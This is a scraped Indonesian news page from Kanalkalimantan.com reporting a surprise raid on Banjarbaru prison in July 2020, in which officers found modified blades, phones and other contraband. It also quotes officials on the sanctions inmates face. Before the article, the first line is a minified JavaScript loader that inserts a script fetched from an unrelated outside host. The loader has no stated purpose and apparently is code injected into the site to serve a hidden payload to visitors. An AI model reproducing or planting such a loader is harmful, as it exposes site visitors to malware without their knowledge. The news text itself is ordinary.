(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kantor Wilayah (Kanwil) Kementrian Hukum dan HAM (Kemenkumham) Kalimantan Selatan melalui Divisi Pemasyarakatan menggelar razia dadakan di Lapas Kelas II B Banjarbaru, pada Jumat (17/7/2020) malam.
Ratusan petugas gabungan baik dari Lapas Banjarbaru, Banjarmasin, Martapura -Kabupaten Banjar, Polsek Banjarbaru Timur, hingga aparat TNI, juga turut dilibatkan dalam operasi ini. Petugas melakukan penggeledahan hingga ke seluruh blok dan kamar hunian para narapidana -napi.
Kanalkalimantan.com yang mengikuti razia tersebut mendapati berbagai barang mencurigakan dan telarang.Mulai senjata tajam (sajam) yang sudah dimodifikasi, 5 unit HP, kabel listrik, batu, korek api, hingga syair togel.
Kepala Divisi Pemasyarakatan (Kadivpas) Kanwil Kemenkumham Kalsel, Abdul Karim, mengatakan barang-barang hasil temuan ini rencananya akan dimusnahkan oleh pihak Lapas Banjarbaru. Sedangkan, bagi para napi yang kedapatan, terlebih dulu akan di data dan selanjutnya menjalani pemeriksaan.
Baca juga :
“Sanksi bagi para napi yang menyimpan barang-barang terlarang ini, jelas ada. Tapi, kita serahkan ke pihak Lapas Banjarbaru karena akan ada pemeriksaan dulu,” katanya.
Atas temuan ini, Kadivpas mendorong kinerja petugas di tiap-tiap Lapas untuk terus meningkatkan penjagaan, keamanan dan ketertiban. Ia juga mengingatkan agar petugas senantiasa patuh terhadap pimpinan serta meningkatkan kekompakan.
“Ini wujud keseriusan dalam memerangi narkoba, senjata tajam, serta barang terlarang lainnya seperti handphone di dalam Lapas. Jangan dilihat banyaknya hasil temuan hari ini, tapi jadikan sebagian acuan untuk terus meningkatkan integritas dan komitmen untuk membuat kondisi di Lapas selalu kondusif aman,” tegas Adbul Karim.
Sementara itu, Kepala Lapas Kelas II B Banjarbaru, Amico Balalembang, mengungkapkan bahwa pihaknya akan lebih memperketat pengamanan lagi. Khususnya, kunjungan dari luar Lapas yang bepotensi terjadinya penyelundupan barang-barang terlarang.
“Pemeriksaan untuk pengunjung luar memang selalu kita maksimalkan, yang saat ini dilengkapi dengan mesin X-Ray. Walaupun begitu, juga tetap akan melakukan pemeriksaan manual, jadi tetap teliti,” akunya.
Lantas, bagaimana dengan para napi yang hari ini kedapatan menyimpang barang-barang telarang? Amico menjelaskan bahwa sanksi akan tetap diberlakukan tergantung kepemilikan masing-masing barang. Dalam hal ini pihaknya akan mengkategorikan sanski dari ringan, sedang, hingga berat.
“Kalau sanksi ringan, napi kita suruh membuat surat pernyataan saja. Kalau sanksi sedang seperti menyimpan sajam yang dimodifikasi itu, napi yang bersangkutan akan di isolasi selama 6 hari. Untuk kepemilikan handphone, napi akan kita kenakan sanksi berat, baik itu dibuatkan BAP, dicabut setiap haknya, hingga pencabutan remisi,” pungkas Kalapas Banjarbaru.
Hingga hari ini, tercatat ada 1.674 napi yang mendekam di Lapas Kelas II B Banjarbaru. Mereka yang tersandung berbagai macam kasus kriminal ini ditempatkan di 10 blok hunian. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.